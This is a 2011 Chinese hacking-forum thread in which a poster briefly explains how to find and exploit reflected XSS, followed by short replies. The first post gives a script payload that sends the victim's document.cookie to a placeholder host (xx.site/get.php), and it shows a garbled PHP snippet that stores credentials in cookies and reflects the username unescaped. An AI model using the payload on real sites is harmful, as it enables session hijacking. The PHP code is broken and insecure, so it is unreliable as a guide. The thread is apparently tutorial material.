# 麦田浅谈xss的挖掘和利用

**URL:** <https://forum.90sec.com/t/topic/3002>\
**Category:** 代码审计\
**Created:** [2011 年12 月 3 日 03:41 UTC](https://forum.90sec.com/t/topic/3002 "2011-12-03T03:41:58Z")\
**Posts on this page:** 8\
**Page:** 1

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2011 年12 月 3 日 03:41 UTC](https://forum.90sec.com/t/topic/3002/1 "2011-12-03T03:41:58Z")

</div>

背景：XSS也是老生长谈的话题了，其危害性呢，大家都懂的，刚看到几个牛淫的反射型和储存型的争论，恰好小菜的我觉得呢，浅谈一下XSS的挖掘和利用，有利于学习的氛围 ！大牛莫笑 !  
XSS: Cross Site Spripting

一般的攻击步骤：

1：我们一般喜欢发送隐藏网站脚本的HTTP链接给目标：[http://www.90sec.org/post.php?user=](http://www.90sec.org/post.php?user=)\<script\>document.location="[http://www.xx.site/get.php?cookie=](http://www.xx.site/get.php?cookie=)"+document.cookie;\</script\>

2:目标用户打开有xss漏洞的网站在登录期间打开了我们发送的隐藏跨站脚本的HTTP链接.

3：有xss的90se呢执行了这个http链接并且显示url参数user的值，这样跨站脚本就执行了.

4：跨站脚本将目标用户的浏览器地址专一到了我们的页面:[http://www.xx.site/get.php](http://www.xx.site/get.php),目标用户浏览器的cookie数据被当作get.php网页的url参数cookie：[http://www.xx.site./get.php?cokie=document.cookie](http://www.xx.site./get.php?cokie=document.cookie),从而让我们得到目标的cookie

简单挖掘：看下面代码

```php
                           if($match_count)
                                              { setcookie("uername",$_POST["username"],time()+30*24*60*60) //将username字段的值存入cookie
                                                   setcookie("uername",$_POST["username"],time()+30*24*60*60) //将password字段的值存入cookie
                                                   mysql_free_result($result);
                                                  mysql_close($link);
                                                 // 跳转页面
                                                         header("Location:http//localhost/balck/black.php?user="
                                                                   $_POST["username"]） //在使用者登陆后，将当前页面跳转到black.php,back.php文件有url参数user,user值是来访者的帐号
                                              }
                                                  else
                                                        {

                                                            header("Location:http:// .$_SERVER["HTTP_HOST"]"
                                                                       $_SERVER["SCRIPT_NAME"]);

```

唉 不写了 冷·· 大家交流把····{:4\_49:}

---

<div class="post-metadata">

作者： ![user16](https://forum.90sec.com/user_avatar/forum.90sec.com/user16/32/11346_2.png) [@user16](https://forum.90sec.com/u/user16)\
发布日期： [2011 年12 月 3 日 03:59 UTC](https://forum.90sec.com/t/topic/3002/2 "2011-12-03T03:59:18Z")

</div>

学习一下啊 哈哈！！

---

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2011 年12 月 3 日 04:05 UTC](https://forum.90sec.com/t/topic/3002/3 "2011-12-03T04:05:41Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=8050&ptid=937) _葙守_ \*\*  
我想写个 帅点的··不过太冷了··技术有限··凑合着交流把···求基友 哈哈··

---

<div class="post-metadata">

作者： ![YyaKer](https://forum.90sec.com/user_avatar/forum.90sec.com/yyaker/32/11397_2.png) [@YyaKer](https://forum.90sec.com/u/YyaKer)\
发布日期： [2011 年12 月 3 日 05:22 UTC](https://forum.90sec.com/t/topic/3002/4 "2011-12-03T05:22:40Z")

</div>

XSS还真不懂 菜鸟路过 哈哈

---

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2011 年12 月 3 日 06:18 UTC](https://forum.90sec.com/t/topic/3002/5 "2011-12-03T06:18:58Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=8063&ptid=937) _hellowrld_ \*\*{:4\_97:} 哈哈···

---

<div class="post-metadata">

作者： ![GuoKer](https://forum.90sec.com/user_avatar/forum.90sec.com/guoker/32/11395_2.png) [@GuoKer](https://forum.90sec.com/u/GuoKer)\
发布日期： [2011 年12 月 3 日 06:43 UTC](https://forum.90sec.com/t/topic/3002/6 "2011-12-03T06:43:34Z")

</div>

学习了，谢谢楼主的分析

---

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2011 年12 月 3 日 06:48 UTC](https://forum.90sec.com/t/topic/3002/7 "2011-12-03T06:48:46Z")

</div>

\*\*回复 [7#](http://www.90sec.org/redirect.php?goto=findpost&pid=8101&ptid=937) _ZhuLiu_ \*\*呵呵 不用谢··只是简单的原理···

---

<div class="post-metadata">

作者： ![ettack](https://forum.90sec.com/user_avatar/forum.90sec.com/ettack/32/11328_2.png) [@ettack](https://forum.90sec.com/u/ettack)\
发布日期： [2011 年12 月 3 日 07:00 UTC](https://forum.90sec.com/t/topic/3002/8 "2011-12-03T07:00:57Z")

</div>

麦田详述下代码挖掘中哪里触发了XSS吧…大家共同学习
